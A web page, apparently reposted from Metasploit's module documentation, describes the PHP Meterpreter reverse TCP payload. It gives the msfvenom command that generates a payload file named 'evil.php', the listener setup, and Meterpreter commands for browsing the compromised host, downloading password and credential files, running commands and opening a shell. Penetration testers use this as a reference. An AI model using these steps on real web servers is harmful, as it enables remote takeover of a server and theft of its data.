Make php Payload PHP Meterpreter, PHP Reverse TCP Stager - Metasploit By Rk Hacker
Module Overview
Name: PHP Meterpreter, PHP Reverse TCP Stager
Module: payload/php/meterpreter/reverse_tcp
Source code: modules/payloads/stagers/php/reverse_tcp.rb
Disclosure date: -
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): php
Supported platform(s): PHP
Target service / protocol: -
Target network port(s): -
List of CVEs: -
Run a meterpreter server in PHP. Reverse PHP connect back stager with checks for disabled functions
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use payload/php/meterpreter/reverse_tcp
msf payload(reverse_tcp) > show options
... show and set options ...
msf payload(reverse_tcp) > generate
To learn how to generate payload/php/meterpreter/reverse_tcp with msfvenom, please read this.
Required Options
- LHOST: The listen address (an interface may be specified)
Knowledge Base
The php/meterpreter/reverse_tcp is a staged payload used to gain meterpreter access to a compromised system. This is a unique payload in the Metasploit Framework because this payload is one of the only payloads that are used in RFI vulnerabilities in web apps. This module can be cross platform, but the target needs to be able to run php code.
Vulnerable Application
The PHP Meterpreter is suitable for any system that supports PHP. For example, the module can be used against webservers which run PHP code for a website. OS X has PHP installed by default.
Deploying php/meterpreter/reverse_tcp
Scenarios
Specific demo of using the module that might be useful in a real world scenario.
Generating a file with msfvenom
msfvenom -p php/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f raw -o evil.php
Starting a listener
msf > use multi/handler
msf exploit(handler) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST [IP]
LHOST => [IP]
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > exploit
[*] Started reverse TCP handler on [IP]
Important Basic Commands
Compared to a native Meterpreter such as windows/meterpreter/reverse_tcp, the PHP Meterpreter has less commands, but here's a list of all the common ones you might need:
pwd command
The pwd command tells you the current working directory. For example:
meterpreter > pwd
/Users/thecarterb/Desktop
cd command
The cd command allows you to change directories. Example:
meterpreter > cd /Users/thecarterb/Desktop
meterpreter > pwd
/Users/thecarterb/Desktop
cat command
The cat command allows you to see the content of a file:
meterpreter > cat /tmp/data.txt
Hello World!
upload command
The upload command allows you to upload a file to the remote target. This is useful for uploading additional payload files. For example:
meterpreter > upload /tmp/data.txt /Users/thecarterb/Desktop
[*] uploading : /tmp/data.txt -> /Users/thecarterb/Desktop
[*] uploaded : /tmp/data.txt -> /Users/thecarterb/Desktop/data.txt
meterpreter >
download command
The download command allows you to download a file from the remote target to your machine. For example:
meterpreter > download /Users/thecarterb/Desktop/data.txt /tmp/pass.txt
[*] downloading: /Users/thecarterb/Desktop/data.txt -> /tmp/pass.txt/data.txt
[*] download : /Users/thecarterb/Desktop/data.txt -> /tmp/pass.txt/data.txt
meterpreter >
search command
The search command allows you to find files on the remote file system. For example, this shows how to find all text files in the current directory:
meterpreter > search -d . -f *.txt
Found 2 results...
.\pass.txt (13 bytes)
./creds\data.txt (83 bytes)
meterpreter >
Without the -d option, the command will attempt to search in all drives.
The -r option for the command allows you to search recursively.
getuid command
The getuid command tells you the current user that Meterpreter is running on. For example:
meterpreter > getuid
Server username: root
execute command
The execute command allows you to execute a command or file on the remote machine.
The following examples uses the command to create a text file:
meterpreter > execute -f echo -a "hello > /tmp/hello.txt"
Process 73642 created.
meterpreter >
ps command
The ps command lists the running processes on the remote machine.
shell command
The shell command allows you to interact with the remote machine's command prompt (or shell). For example:
meterpreter > shell
Process 74513 created.
Channel 2 created.
sh-3.2#
If you wish to get back to Meterpreter, do [CTRL]+[Z] to background the channel.
sysinfo
The sysinfo command shows you basic information about the remote machine. Such as:
- Computer name
- OS name
- Architecture
- Meterpreter type
Using
postmodulesWhen using the PHP Meterpreter, you have the feature of using Metasploit's
postmodules on that specific session. By default, mostmultipost modules will work; however, you can also use OS specific modules depending on the OS of the compromised system. For example, if you have a PHP Meterpreter session running on OS X, you can useosxpost modules on that session.Don't forget to: - Set the
LHOSTdatastore option to the connect-back IP Address - If you want to get multiple shells, setExitOnSessiontofalseMsfconsole Usage
Here is how the php/meterpreter/reverse_tcp payload looks in the msfconsole:
msf6 > use payload/php/meterpreter/reverse_tcp msf6 payload(php/meterpreter/reverse_tcp) > show info Name: PHP Meterpreter, PHP Reverse TCP Stager Module: payload/php/meterpreter/reverse_tcp Platform: PHP Arch: php Needs Admin: No Total size: 1101 Rank: Normal Provided by: egypt <egypt@metasploit.com> Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Description: Run a meterpreter server in PHP. Reverse PHP connect back stager with checks for disabled functionsAdvanced Options
Here is a complete list of advanced options supported by the php/meterpreter/reverse_tcp payload:
msf6 payload(php/meterpreter/reverse_tcp) > show advanced Module advanced options (payload/php/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- AutoLoadStdapi true yes Automatically load the Stdapi extension AutoRunScript no A script to run automatically on session creation. AutoSystemInfo true yes Automatically capture system information on initialization. AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds EnableStageEncoding false no Encode the second stage payload EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript) PayloadProcessCommandLine no The displayed command line that will be used by the payload PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking) PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic) PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs PingbackRetries 0 yes How many additional successful pingbacks PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST ReverseListenerBindAddress no The specific IP address to bind to on the local system ReverseListenerBindPort no The port to bind to on the local system if different from LPORT ReverseListenerComm no The specific communication channel to use for this listener ReverseListenerThreaded false yes Handle every connection in a new thread (experimental) SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure SessionRetryWait 10 no Number of seconds to wait between reconnect attempts StageEncoder no Encoder to use if EnableStageEncoding is set StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible StagerRetryCount 10 no The number of times the stager should retry if the first connect fails StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts VERBOSE false no Enable detailed status messages WORKSPACE no Specify the workspace for this module

0 Comments